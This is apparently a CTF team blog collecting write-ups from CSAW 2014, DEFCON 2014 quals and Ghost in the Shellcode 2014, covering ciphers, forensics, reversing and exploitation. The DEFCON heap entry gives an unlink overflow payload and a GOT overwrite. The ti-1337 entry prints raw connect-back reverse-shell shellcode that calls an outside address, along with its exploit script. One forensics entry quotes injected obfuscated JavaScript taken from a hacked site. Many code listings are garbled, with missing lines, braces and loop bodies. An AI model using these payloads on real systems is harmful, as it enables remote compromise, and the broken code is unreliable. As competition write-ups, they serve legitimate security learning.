Monday, October 6, 2014

Recon 100 (1st one)

The problem asked us to find a picture of Kevin Chung from before his high school days. A simple Google search gave us his linked in profile, which had his high school on it. I decided to check out the school's site and ended up finding some old pictures of a freshman orientation from 2007. After looking through some photos of awkward freshmen trying to fit in, I found a photo of a small Asian child standing in a crowd. I thought, "hey, Chung sounds Asian, I wonder if this is him," and wouldn't you know it, the URL to that picture was the key!

Tuesday, September 23, 2014

CSAW 2014 Crypto200

For this challenge, we connected to a server and were given a series of prompts. All the prompts needed to be solved within 10 seconds, and we did not initially know how many there would be.

The first prompt gave us a cipher text, and told us that a famous Roman would be proud if we cracked it. This led us to believe that it was a Caesar cipher. We were able to write a Python script to connect to the server, read the cipher text, and decrypt it to plain text. As it turned out, the message was always the same, except for the key, which rotated. We sliced the plain text and sent only the key.

The server then gave us another prompt, with a different cipher text and a mostly useless prompt about length not being everything. This cipher text was encrypted with a modified box or transposition cipher. We found an online tool to solve this kind of cipher When we copied our cipher text into this website, we were able to mostly decrypt the message. However, partway through each line, the message became gibberish. We then saw that at this point, the text began to wrap around diagonally. We were able to decrypt this cipher text by hand, but we rather than try to code it into Python, we simply figured that there were a fairly small number of keys and that they rotated. Having found one key, we submitted it each time, figuring that eventually we'd get it right.

Having 'solved' the second part of this challenge, we were given the final prompt. This turned out to be a Vigenere cipher. We used CrypTool 2 to crack this cipher, and sent it to the challenge server until it matched the cipher text. We eventually got lucky, and the server gave us the flag. The winning code:

In the end, we never coded up a transposition cipher solver or a Vigenere cipher solver. Instead, we figured them out once and submitted until both flags we'd found aligned on the same round.

Monday, September 22, 2014

CSAW Forensics 100

We were given a file with the hint "dumpsters are cool, but cores are cooler"
Knowing this was a 100 level forensics problem, I first unzipped the file and dragged it into my favorite linux distro so I could run strings on it.

Then I ran strings on it!

I got scared of all the strings that came out so I ctrl+c'd out as fast as I could

after literally seconds of thought and planning I decided to grep the strings output for "flag{" and hope for the best.
strings firefox.mem | grep flag{
and the key came out!


-wardawg -bobson

CSAW CTF 2014 Reversing 300 (2) - weissman

For this challenge we were given a file called weissman.csawlz.
When we first looked at it in a hex editor it appeared to have 3 files concatenated together to form this one file.
Each file seemed to have a header that was created, so we were able to separate each file easily.
The first file was called hash.html, the third file was a .txt version of Alice in Wonderland, and the second, and most important, key.jpg.
We also saw that the individual files were broken up into what seemed to be 9 byte chunks separated by 0x13.
At this point we created a small python script to go through and take out the 0x13s.
Once we looked at this new file that we created it was very apparent that the file was not fully decompressed as we had hoped.
This led us to a more in depth search into the Alice in Wonderland file and the hash.html file.
Upon further inspection we found that the files were not merely separated into 9 byte chunks, but that there were only 9 byte chunks after the 0x13.
Should the 10th byte not be a 0x13, we figured out that there were 3 byte "compression points". These looked like 0x0A 0x1E 0xAA.
As we could read what was supposed to be there we found that the first byte was double the length of how many bytes were supposed to be there.
Further we found that the last 2 bytes were some sort of index into a hash table that we didn't have.
Because we did not have this hash table we continually tried to figure out how this hash table was created and totally failed.
Once we got frustrated enough to try and brute force the jpg to be read, we tried to deduce what each hash was for this file. We figured out that one hash was supposed to be 0x41 for however many bytes as was called upon to fill that location. We also found another where it might have been 0x00 for however many bytes were needed. And finally, we just put 0x00 in place of all other bytes.
Now... This SHOULD have worked, but the first time we wrote this program something messed up and we did not succeed.
4 hours later after talking to a mod about where we were going wrong (much to our surprise that we were not wrong) we rewrote the program and it worked. We were given a jpg with colors messed up, but the flag was still distinguishable.

flag{I know how long it'd take, and I can prove it.}

~ Tigger

CSAW 2014 Forensics 300

CSAW 2014 Forensics 300 - FluffyNoMore

Description: OH NO WE'VE BEEN HACKED!!!!!! -- said the Eye Heart Fluffy Bunnies Blog owner. Life was grand for the fluff fanatic until one day the site's users started to get attacked! Apparently fluffy bunnies are not just a love of fun furry families but also furtive foreign governments. The notorious "Forgotten Freaks" hacking group was known to be targeting high powered politicians. Were the cute bunnies the next in their long list of conquests!?? Well... The fluff needs your stuff. I've pulled the logs from the server for you along with a backup of it's database and configuration. Figure out what is going on!
Written by brad_anton

After decompressing all the files we looked in various files to try and find malicious activity. Looking into the logs we found a suspicious command:

/usr/bin/apt-get install ssh-server
We now knew a SSH server had been installed onto the server, which was to be used to mess with the Fluffy website. The more interesting command was further below ending in:

/usr/bin/vi   /var/www/html/wp-content/themes/twentythirteen/js/html5.js

This was the only edit to a file made after the SSH server was installed. We opened the appropriate html5.js file within our extracted files, but did not notice anything suspicious until it was compared to another html5.js file within another one of the themes. The following code was extra to what we saw in the other html5.js file:

var g="ti";var c="HTML Tags";var f=". li colgroup br src datalist script option .";f = f.split(" ");c="";k="/";m=f[6];for(var i=0;i\</"+m+"\>");

Running the html5.js file at (in Firefox since it wouldn't work in Chrome) reveals a PDF containing a picture of Chris Angel. We downloaded the PDF and put it into PDF Stream Dumper. The 8th object had a variable which was storing a long hex string; when translated into ASCII the result contained a string which had the key:
 key{Those Fluffy Bunnies Make Tummy Bumpy}



CSAW Reversing 300 Wololo

This challenged composed of a .lst file that seemed to be IDA output of an arm program. A short example of the file is:
__text:00000A80   SUB  SP, SP, #0xC
__text:00000A82   STR  R0, [SP,#0xC+var_8]
__text:00000A84   LDRB  R0, [R0]
They provided a python file which read a file and uploaded it to the server, printing out the server response. The provided code was:
#!/usr/bin/env python

import sys, socket, struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], int(sys.argv[2])))
print s.recv(1024)

contents = open(sys.argv[3], "rb").read()
s.send(struct.pack("<I", len(contents)) + contents)

print "The challenge server says: ", s.recv(1024)
On to the analysis of the code. The arm seemed to compose primarily of two possible parts. It contains a validate_database and check_login routines. If we sent the server a blank file, then it responded that our table appeared to be incorrect. This lead us to analyze the validate_database first.
Before starting, it is important to include that they provided the C struct's for the table which were:
typedef struct
        uint32_t magic;
        uint32_t version;
        uint16_t num_cols;
        uint16_t num_rows;
} header_t;

typedef struct
        uint8_t type;
        char name[16];
} col_t;

The validate_database routine had several blocks of code where arguments where compared against static values, then a jump taken based on that compare. The first check ensures that there is actual input, so that won't be displayed. The second check compares the first four bytes to the static constant:
__text:00000B20   MOV  R0, #0x4F4C4F57   ;Does it start with WOLO
__text:00000B28   LDR  R1, [SP,#0x2C+inputThing]  ; MAGIC
__text:00000B2A   LDR  R1, [R1]
__text:00000B2C   CMP  R1, R0
The next check verified that the uint32_t version was 1:
__text:00000B3A   LDR  R0, [SP,#0x2C+inputThing]
__text:00000B3C   LDR  R0, [R0,#4]
__text:00000B3E   CMP  R0, #1  ;next four bytes 0x00000001
__text:00000B40   BEQ  loc_B4C  ;Version, must be 1
The next check offset's R0 by 6 instead of 4, so the next check verifies that the num_rows is greater than four and less than 0x1000:
__text:00000B4C   LDR  R0, [SP,#0x2C+inputThing]
__text:00000B4E   LDRH  R0, [R0,#0xA]
__text:00000B50   CMP  R0, #4  ;next Greater than 0x4

__text:00000B5E   LDR  R0, [SP,#0x2C+inputThing]
__text:00000B60   LDRH  R0, [R0,#0xA]
__text:00000B62   CMP.W  R0, #0x1000 ;next less than  0x1000
The next checks the columns are >= four or <= 10, since the offset is only 4 greater than where the version number was located:
_text:00000B72   LDR  R0, [SP,#0x2C+inputThing]
__text:00000B74   LDRH  R0, [R0,#8]
__text:00000B76   CMP  R0, #4  ;Greater than 0x4

__text:00000B86   LDRH  R0, [R0,#8]
__text:00000B88   CMP  R0, #0x10 ;Less than 0x10
__text:00000B8A   BLE  loc_B96
It then goes on to verify that there are the correct number of columns and that they are the correct type. Since we expect our rows to represent the columns we chose, we can worry less about this check.

After sending in a table composed of four columns and four rows that matched those columns, the python program gave us the error that our login credential were incorrect. Our next step is to determine how to make it through the check_login method.
The first check that the check_login appears to make is to verify that the first column was labled "USERNAME" and that the corresponding row data contained the string "captainfalcon".
__text:00000CDA   MOV  R1, #(aUsername - 0xCE6) ; "USERNAME"
__text:00000CE2   ADD  R1, PC ; "USERNAME"
__text:00000CE4   MOVS  R2, #8 ; size_t
__text:00000CEA   LDR  R0, [SP,#0x6C+var_4C]
__text:00000CEC   LDR  R3, [SP,#0x6C+var_1C]
__text:00000CEE   MOV  R9, #0x11
__text:00000CF6   MUL.W  R0, R0, R9
__text:00000CFA   ADD  R0, R3
__text:00000CFC   ADDS  R0, #1 ; char *
__text:00000CFE   BLX  _strncmp                ; Verify column name is "USERNAME"

__text:00000D1A   MOV  R1, #(aCaptainfalcon - 0xD26) ; "captainfalcon"
__text:00000D22   ADD  R1, PC ; "captainfalcon"
__text:00000D24   MOVS  R2, #0xE ; size_t
__text:00000D2A   LDR  R0, [SP,#0x6C+var_38] ; char *
__text:00000D2C   BLX  _strncmp                ;Verify row contains "captainfalcon"
The program then goes on to check that the second column is PASSWORD and contains the hash fc03329505475dd4be51627cc7f0b1f1:
__text:00000D3E   MOV  R1, #(aPassword - 0xD4A) ; "PASSWORD"
__text:00000D46   ADD  R1, PC ; "PASSWORD"
__text:00000D5A   MUL.W  R0, R0, R9
__text:00000D5E   ADD  R0, R3
__text:00000D60   ADDS  R0, #1 ; char *
__text:00000D62   BLX  _strncmp

__text:00000D7E   MOV  R1, #(aFc03329505475d - 0xD8A) ; "fc03329505475dd4be51627cc7f0b1f1"
__text:00000D86   ADD  R1, PC ; "fc03329505475dd4be51627cc7f0b1f1"
__text:00000D88   MOVS  R2, #0x20 ; ' ' ; size_t
__text:00000D8E   LDR  R0, [SP,#0x6C+var_38] ; char *
__text:00000D90   BLX  _strncmp
The next check verifies that the third column is ADMIN and has a uint8_t of 1:
__text:00000DA2   MOV  R1, #(aAdmin - 0xDAE) ; "ADMIN"
__text:00000DAA   ADD  R1, PC ; "ADMIN"
__text:00000DC2   ADD  R0, R3
__text:00000DC4   ADDS  R0, #1 ; char *
__text:00000DC6   BLX  _strncmp

__text:00000DEA   LDRB.W  R0, [SP,#0x6C+var_50]
__text:00000DEE   CMP  R0, #1
The next check verifies that the fourth column is ISAWESOME and has a uint8_t of 1:
__text:00000E0C   MOV  R1, #(aIsawesome - 0xE18) ; "ISAWESOME"
__text:00000E14   ADD  R1, PC ; "ISAWESOME"
__text:00000E2E   ADDS  R0, #1 ; char *
__text:00000E30   BLX  _strncmp

__text:00000E54   LDRB.W  R0, [SP,#0x6C+var_54]
__text:00000E58   CMP  R0, #1
With this in mind, the following script was able to successfully pass all the checks and get a key from the server.
import struct
db = "WOLO"
db += struct.pack("<I",0x1) #Version
db += struct.pack("<H",0x0004) # columns
db += struct.pack("<H",0x0004) #rows

db += struct.pack("B",0x5) #Type, ensure 16 byte size
db += "USERNAME"+"\x00"*8 #Name of col
db += struct.pack("B",0x6) #Type, ensure 16 byte size
db += "PASSWORD"+"\x00"*8 #Name of col
db += struct.pack("B",0x0) #Type, ensure 16 byte size
db += "ADMIN"+"\x00"*11 #Name of col
db += struct.pack("B",0x0) #Type, ensure 16 byte size
db += "ISAWESOME"+"\x00"*7 #Name of col

for row in range(0, 0x4):
 db += "captainfalcon\x00\x00\x00" #ensure 16 byte size
 db += "fc03329505475dd4be51627cc7f0b1f1"
 db += struct.pack("<B",0x1)
 db += struct.pack("<B",0x1)
If you have any questions comments, please feel free to share!


CSAW Networking 100 - Big Data

This challenge gave a pcap file along with the clue "Something, something, data, something, something, big". While this may have been some huge hint, the challenge was simple enough that it was possible to just sort by protocol and find the TELNET data. From there you could just look through the data in each of the packets, and from this it was possible to find the login request, a log-in from Julian (the challenge creator) and a password of: flag{bigdataisaproblemnotasolution}.


CSAW Recon 100 - Julian Cohen

Initially this challenge was extremely difficult to approach due to the lack of guidance that was given. The initial hint was "Figure out how to get Julian to go on a date with you." which honestly was more of a hint than we realized. This led to a number of people looking for interviews, both written and otherwise, along with scouring of his twitter and reddit to find if he had made a passing comment about dating him. Unfortunately all of this was off point, as a later hint was given that he had an OkCupid account. After an account was made in order to search the service, a couple of approaches were utilized in order to try and find him, since standard searches for his name returned nothing. It ended up being under the same name as his LinkedIn account, which was "TheJulianCohen", and in the description of his account, the flag was given: flag{julian_will_not_date_you_sorry}.

-- bobson, amazingsherbert

CSAW 2014 Forensics 200 - Why not sftp

The title of this challenge was "Why not sftp" and a pcap file was given to be downloaded. Upon opening the pcap in Wireshark you could apply an "ftp" filter to the packets to see any file transfers occurring (also a practical step given the "sftp" hint). Packet 411 shows that a zip file was being retrieved and 432 shows that the transfer was completed. Clear the filter and navigate to the packet where the transfer began, packet 411. The first TCP packet after that contains the beginning of the data transfer. Right click on that packet and follow the TCP stream. The beginning of the TCP stream starts with "PK" which is the file header for a zip file so you know you have the correct data. Several characters after the "PK" is "flag.png" showing that flag.png is contained within the zip file. Click the "Save As" button in the TCP stream and save the raw data as a .zip file. Open the .zip file that you just saved and view the flag.png file within.


-- Nightrider, gregoryFox

CSAW Exploitation 100

Exploit100 - bo

When connected to the challenge, the program printed out 

"Welcome to CSAW CTF!
Time to break out IDA Demo and see what's going on inside me.  :]"

So I opened it up in IDA and looked at the strings.

.rodata:08049300   00000016 C "Welcome to CSAW CTF!\n"                                               
.rodata:08049318   00000044 C "Time to break out IDA Demo and see whats going on inside me.  :]\n\n"
.rodata:0804935C   0000001C C "flag{exploitation_is_easy!}"                                          
.rodata:08049378   0000001E C "Unable to set SIGCHLD handler"                                        
.rodata:08049396   00000018 C "Unable to create socket "                                             
.rodata:080493B0   00000022 C "Unable to set socket reuse option"                                    
.rodata:080493D2   00000016 C "Unable to bind socket"                                                
.rodata:080493E8   0000001B C "Unable to listen on socket"                                           
.rodata:08049403   00000014 C "Unable to find user"                                                  
.rodata:08049417   0000001E C "Unable to remove extra groups"                                        
.rodata:08049435   00000015 C "Unable to change GID "                                                
.rodata:0804944A   00000015 C "Unable to change UID "                                                
.rodata:08049460   00000023 C "Unable to change current directory"                                   
.rodata:08049483   0000000D C "/dev/urandom"                                                       
.eh_frame:0804954B 00000005 C ";*2$\"                                                               

oh look, the flag



CSAW 2014 Forensics 200(2) Obscurity

CSAW Writeups Forensics 200- Obscurity
This problem had 635 solves by the end of the competition. It was fairly easy.
It provided you with a file: pdf.pdf . The first thing I did after looking at the file is analyze it with scalpel and HxD to look for fun things inside the file. I didn't see anything, so I took another look at the pdf in Adobe Reader. There was a suspicious amount of whitespace at the top of the file, so I Edit>Select All and saw a suspicious blue box in the middle of the picture. Surprise! There was a key hidden beneath the photo. 'flag{security_through_obscurity}'
Thanks for reading!


CSAW REV100 and REV200

Rev100 - Challenge consisted of a bunch of python files. Trying to run main failed on utils.pyc. Opening the file in notepad++ showed a link to, which had the flag as a comment,

# flag{trust_is_risky}

Rev200 - This problem was specifically noted as very similar to last years, which printed the key if a debugger was present. Inspection of the code shows a debug check, with producing a message box with no debugger, and debugger breakpoint otherwise.

According to the code, the pointer to the flag is incremented before printing. The same code block, this time without the increment was available, but never ran. Running both of these however, did not produce the flag. Thus, this was not the solution. The only other option was the function below, called after the debug breakpoint.

It appears to do some sort of decryption, but never prints. Examining memory shows the flag.



Saturday, May 31, 2014

DEFCON 2014 quals - Baby First Heap

As the name of the challenge might imply, the given elf file was a pwnable with a heap overflow vulnerability. The program informed us of the allocator version 2.6.1 by Douglas Lee then proceeded to malloc twenty blocks of memory. There is one block that is always the given size of 260 bytes, which is where our input will be placed.
Ex. Output:
Write to object [size=260]:

The user is able to give 4096 bytes of code, given in the following segment.
.text:08048A6B                 mov     dword ptr [esp+4], 4096 ; number of input bytes
.text:08048A73                 lea     eax, [esp+330h]
.text:08048A7A                 mov     [esp], eax      ; write location
.text:08048A7D                 call    get_my_line

At this point, it becomes the black magic that is a heap overflow. The nature of exploiting a heap overflow with a bad free is to overwrite the header in a manner where we are able to direct an arbitrary write. Writing over the header of the next block with 0xfffffffc, corrupts unlink method when the 260 memory block is being freed. At this point our exploit looks like:
python -c 'import struct;print "BBBB"+"CCCC"+"A"*252 + struct.pack("<I",0xfffffffc)'

Running this segfaults. Using a debugger gives us the following output, which we will step through in a second.
  EAX: 0x42424242  EBX: 0xF7FBBFF4  ECX: 0x0804D004  EDX: 0x43434343  o d I t s z A P c 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xFFFFC128  ESP: 0xFFFFC0F0  EIP: 0x080493F6
  CS: 0023  DS: 002B  ES: 002B  FS: 0000  GS: 0063  SS: 002B
=> 0x80493f6 : mov    DWORD PTR [eax+0x8],edx
   0x80493f9 : mov    eax,DWORD PTR [ebp-0x24]
   0x80493fc : mov    edx,DWORD PTR [ebp-0x28]
   0x80493ff : mov    DWORD PTR [eax+0x4],edx

If you do a bit of reading on heap overflows with regards to abusing the unlink method, you will realize that at location 0x80493f6, the program attempts to write our second four bytes into the memory location represented by our first four bytes plus eight. In location 0x80493ff, our first four bytes will be written to the location pointed two by the second four bytes plus four. We could try to rebuild all the blocks that come after our exploit, but that would we incredibly difficult. After reading for a bit, it was recommended by some to overwrite the GOT entry for free with the location of our buffer. Since the free was not dynamically linked, we needed to find something else. Before it freed each block, it printed which block was being freed. This can be seen in:
.text:08048ADB                 mov     eax, offset aFreeAddressX ; "[FREE][address=%X]\n"
.text:08048AE0                 mov     [esp+4], edx
.text:08048AE4                 mov     [esp], eax      ; format
.text:08048AE7                 call    _printf
.text:08048AEC                 mov     eax, [esp+133Ch]
.text:08048AF3                 mov     eax, [esp+eax*8+10h]
.text:08048AF7                 mov     [esp], eax      ; mem
.text:08048AFA                 call    free

The printf function was dynamically linked. When coupled with the lack of RELRO, I decided to overwrite the GOT entry for printf with the location of our shellcode (Location of input + 8 bytes). The locations to write could be determined as the program ran over the wire since it printed out each location from our first example block. Some example code determining the locations using the pexpect library is shown:
s = socket.socket()
s.connect(("", 4088))
so = fdpexpect.fdspawn(s)
parse = so.before[-9:-2]
ourBuff = str("0x"+parse)
print hex(int(ourBuff , 16))
exploit = struct.pack("<I", hex(int(ourBuff , 16)))
exploit += struct.pack("<I", printfLoc-4)
When printf is called after out malformed block gets freed, our shellcode is run instead, allowing us to get the flag. If you have any questions, feel free to ask!


Tuesday, May 27, 2014

DEFCON 2014 quals - Zombies

This challenge consisted of a scripting game. The player was asked to choose a gun and pistol, and then use them to save 100 puppies from attacking zombies.

To shoot a zombie, the player had to give the weapon used (pistol or rifle), and the angle, distance and height of the shot (zombies and puppies exist on a 2D grid relative to the player. For the first 10 rounds the zombie would be stationary. However, the final 90 rounds had a moving zombie. For this, the player was given the location of the zombie and puppy, and the time it would take for the zombie to get to the puppy. While we initially expected that the player and puppy would begin to move in later rounds, this thankfully never happened.

For the first 10 rounds, we used physics to calculate bullet drop due to gravity, and basic trig to get the angle.

For the remaining 90 rounds, we calculated the ratio of the time at which we would shoot the zombie over time it would have taken that zombie to reach the puppy. This was multiplied by the distance between the two, and added to the zombie's initial location to get the location of the zombie at time of the shot. Additionally, we had to integrate bullet drop in both the height and angle of shot.

Even with this, we would occasionally get unexpected failures (<5%). We compensated for this by starting many connections, and one eventually hit 100%


from __future__ import division
import socket,math,time
ip = ''
port = 20689

def main():
 s = socket.socket()

 print("[+] Sent gun choice")
 print("[+] Sent pistol choice")
 for i in range(9):
  res = (s.recv(1024))
  temp = res.split(" ")
  numbers = []
  for a in temp:
   if a[:-1].isdigit():
    numbers += [a[:-1]]
  dist = numbers[len(numbers)-2]
  height = numbers[len(numbers)-1]
  print("dist is: " + dist)
  print("height is " + height)
  res = (s.recv(1024))
  temp = res.split(" ")
  ztime = []
  numbers = []
  for a in temp:
   if a.isdigit(): #ztime value
    ztime += [a]
   elif a[:-1].isdigit(): #distance value
    numbers += [a[:-1]]
  zdist = int(numbers[len(numbers)-4])
  zheight = int(numbers[len(numbers)-3])
  pdist = int(numbers[len(numbers)-2])
  pheight = int(numbers[len(numbers)-1])
  currTime = 1
  finTime = int(ztime[0])
  print("pdist is: " + str(pdist))
  print("pheight is " + str(pheight))
  print("zdist is: " + str(zdist))
  print("zheight is " + str(zheight))
  for z in range(2):
   currTime += 1

def shoot2(s,zombieHIn,zombieDIn,puppieHIn,puppieDIn,currTime,finalTime):
 rifle = 975.0
 pist = 375.0
 weapon = "r"
 ztimeRatio = currTime/finalTime
 heightIn = (puppieHIn - zombieHIn) * ztimeRatio + zombieHIn
 distanceIn = (puppieDIn - zombieDIn) * ztimeRatio + zombieDIn
 print("Time " + str(ztimeRatio))
 print("Height Target " + str(heightIn))
 print("Dist Target " + str(distanceIn))
 direct = math.hypot(distanceIn,heightIn)
 if(direct < 50):
  print("[+] using pistol")
  weapon = "p"
  ztime = direct/pist
  ztime = direct/rifle
 drop = 4.9 * ztime * ztime
 height = heightIn + drop
 distance = distanceIn#before lead
 distance = distance + ((puppieDIn - zombieDIn)/finalTime * ztime)
 rad = math.atan2(height,distanceIn)
 angle = math.degrees(rad)

 response = weapon + ", " + str(angle) + " , " + str(distanceIn) + " , " + str(heightIn)
 print("[+] Firing: " + response)
 s.send(response + "\n")

def shoot(s,heightIn,distanceIn):
 rifle = 975.0
 pist = 375.0
 weapon = "r"
 direct = math.hypot(distanceIn,heightIn)
 if(direct < 50):
  print("[+] using pistol")
  weapon = "p"
  ztime = direct/pist
  ztime = direct/rifle
 drop = 4.9 * ztime * ztime
 height = heightIn + drop
 distance = distanceIn
 rad = math.atan2(height,distance)
 angle = math.degrees(rad)
 response = weapon + "," + str(angle) + "," + str(distance) + "," + str(height+drop)
 print("[+] Firing: " + response)
 s.send(response + "\n")


Sunday, May 25, 2014

DEFCON 2014 quals - Fritas

Fritas: 6908
For the sake of brevity we will call the address Despite the fact that our mothers taught us all not to talk to strangers, the first thing we all do when presented with a strange address/port is talk to it. Connecting to the port with netcat a few times gave us the interesting interaction:
$nc 6908
$nc 6908
$nc 6908

The first line makes no sense, but the second one appears to be some sort of UUID that increments all but the last 4 digits, which are always 0001. We want to take a closer look at the data so we create a simple Python script to connect to it and display:
from socket import socket
HOST = (‘’,6908)
s = socket()
print repr(s.connect(HOST).read(1024))
repr allows us to print the data so that non printable bytes are printed in their hex representation. It is good practice when printing unknown data for analysis and it pays off!
This looks like it could be a handshake so we modify to send the data we get back.
This is a good sign, and it is beginning to look like this challenge is protocol busting. We modify the python to send back a modified Hello with the first byte incrementing every time from 1 to 255. For some codes we get interesting behavior:
1 : Expected Hello, got Fritas::Messages::Ready
11: Expected Hello, got Fritas::Messages::StorePostReq
14: Expected Hello, got Fritas::Messages::GetPostResp
15: Expected Hello, got Fritas::Messages::ListPostReq
21: Expected Hello, got Fritas::Messages::ListTagReq
31: Expected Hello, got Fritas::Messages::GetRelatedTagReq
From the replies to these messages we can determine that the protocol consists of:
And the data consists of section preceded by two bytes, the first of which appeared to be a flag (usually a newline) and the second was the length of the section. It also appears that every Req has a code that is one less than its corresponding Resp. We crafted a request with no data to list posts and list tags. Each tag had a TagID which matched the UUID except the last 4 digits which were 0002 through 0008. So if your uuid was xxxxxx-xxxx-xxxx-xxxx0001, the first post would be xxxxxx-xxxx-xxxx-xxxx0002. The tags were all random collections of 20 letters and numbers. We sent a “GetPostReq” for each post revealing that post 0002 was password protected while all the other posts contained their TagID, a header (preceded by the ‘\n’ flag) and a body (preceded by the ‘\x12’ flag). Each post also had two tags with it, which presented an interesting issue: one of the tags from the ListTagReq was un accounted for! We figured it was probably related to the password protected post. WHY NOT GET RELATED TAGS! Sending a GetRelatedTagReq with the data section containing a tag returns a large data structure, one element in the structure contained the line “password=X” where X is about 20 random characters. After some trial and errors, we settle on sending the GetPostReq with the format: <code>\nTagID\x12 This request returned the post containing the flag! As a side note, the name of the challenge “Fritas” is a type of beef cake. This is a clue, as the server for this challenge is implemented using the beefcake ruby library which is a ruby implementation of the Google protobuf which is worth looking into.

Monday, May 19, 2014

DEFCON 2014 quals - HackerTool

The question said "hey, we need to check that your connection works, torrent this file and md5 it." The file in question was huge, and downloading it via torrent seemed likely to take too long. Using our torrent tool, we told it to prefer the beginning and ending blocks. Looking at the partial download, we saw:

We were troubled by the fact that the instructions said all flags would begin with "The flag is:" (and we weren't going to have that) but decided to go for it and compute the MD5 sum of what we believed the file to be (slightly encouraged by the name of the file referring to every IP address).
The Ada program below correctly computed the MD5 (we also implemented this in Python, but the compiled language ran much faster).

WITH Ada.Text_IO;
with gnat.md5;
   FUNCTION To_String(X : IN Integer) return String IS
      s : string := integer'image(x);
      RETURN S(S'First+1..S'Last);
   END To_String;
   context : gnat.md5.context := gnat.md5.initial_context;
   FOR I IN 0..255 LOOP
      FOR J IN 0..255 LOOP
         FOR K IN 0..255 LOOP
            for l in 0..255 loop
      END LOOP;
      END LOOP;
end every_ip;

Tuesday, January 21, 2014

Ghost in the Shellcode 2014 - Trivia



This problem gave us a file, which when opened with 7zip, gave us the following file:

Find the key.

All together there were 62 lines with 6 letters each. Also, we noticed that only sixteen letters were used: A, P, Z, L, G, I, T, Y, E, O, X, U, K, S, V, and N. First we unsuccessfully tried many simple ciphers. After reaching a dead end, we googled "6 letter codes" and noticed that NES Game Genie cheat codes were six letters long and used the same sixteen letters. Running these codes through us a decoder gave a hexadecimal value and address. Sorting the ASCII characters for the values and sorting them by address gave us "Power overwhelming? Back in my day cheats did not have spaces."


This challenge was a C file given by the competitors. A quick look around a a click on the border of the code revealed that there was extra spacing at the end of the code. No one willing puts extra tabs/newlines/spaces on the end of their code. Copying the entire C file into an online whitespace interpreter produced the winning output: WhitespaceProgrammingIsHard.


Ghost in the Shellcode 2014 ti-1337

This challenge presented the user with a command line interface calculator using an array to implement a stack. There were several commands that could be sent to the server, however the one command which did not complete a correct check was the pop command represented by the letter 'b'. While the pop implemented a measure to prevent showing new results if it went out of bounds, it did not stop itself from moving up the stack for each 'b' that was sent. The relevant code is in the disassembly below.
.text:00000000004014EE                 push    rbp
.text:00000000004014EF                 mov     rbp, rsp
.text:00000000004014F2                 lea     rax, theStackSize
.text:00000000004014F9                 mov     rax, [rax]
.text:00000000004014FC                 test    rax, rax
.text:00000000004014FF                 js      short maybeEmpty
.text:0000000000401501                 lea     rax, theStackSize
.text:0000000000401508                 mov     rdx, [rax]
.text:000000000040150B                 lea     rax, theStackSize
.text:0000000000401512                 mov     rax, [rax+rdx*8+8]
.text:0000000000401517                 mov     [rbp+var_8], rax
.text:000000000040151B maybeEmpty:                             ; CODE XREF: pop+11 j
.text:000000000040151B                 lea     rax, theStackSize
.text:0000000000401522                 mov     rax, [rax]
.text:0000000000401525                 lea     rdx, [rax-1]
.text:0000000000401529                 lea     rax, theStackSize
.text:0000000000401530                 mov     [rax], rdx
.text:0000000000401533                 mov     rax, [rbp+var_8]
.text:0000000000401537                 mov     [rbp+var_18], rax
.text:000000000040153B                 movsd   xmm0, [rbp+var_18]
.text:0000000000401540                 pop     rbp
.text:0000000000401541                 retn
.text:0000000000401541 pop             endp
By popping two segments back and putting a number on the stack, we are able to write our shellcode onto the stack. However, since the program is reading in inputs as floating point numbers, our reverse shell needed to be converted to floating point numbers in segments. Python wasn't playing nice with this, so C was used to do the conversion. The relevant code is below.
 void this (long long int y){
12 double x;
11 // printf("0x%lx\n",y);
10 int i;
9 char *xx=&x,*yy=&y;
8 for(i=0;i<8;i++) {
7 memcpy((char*)&xx[i],(char*)&yy[i],1);
6 }
5 printf("\"%.18lg\"\n",x);
4 // scanf("%lg",&x);
3 // memcpy(&y,&x,8);
2 // printf("0x%lx\n",y);
1 // printf("\n\n");
0 }
We pad on to the end to ensure that we hit out shellcode. The winning python script is below.
  import pexpect
import fdpexpect
import sys
import socket
import time
connectBack = "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
connectBack += "\xb9\x02\x00\x23\x28\x32\x4c\x8e\xc9\x51\x48\x89\xe6\x6a\x10"
connectBack += "\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
connectBack += "\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
connectBack += "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
connectBack += (8-len(connectBack)%8)*"\x90"

exploit = []
s = socket.socket()
so = fdpexpect.fdspawn(s)
so.logfile = sys.stdout
for i in range(0,30):
Any questions or comments, feel free to let me know!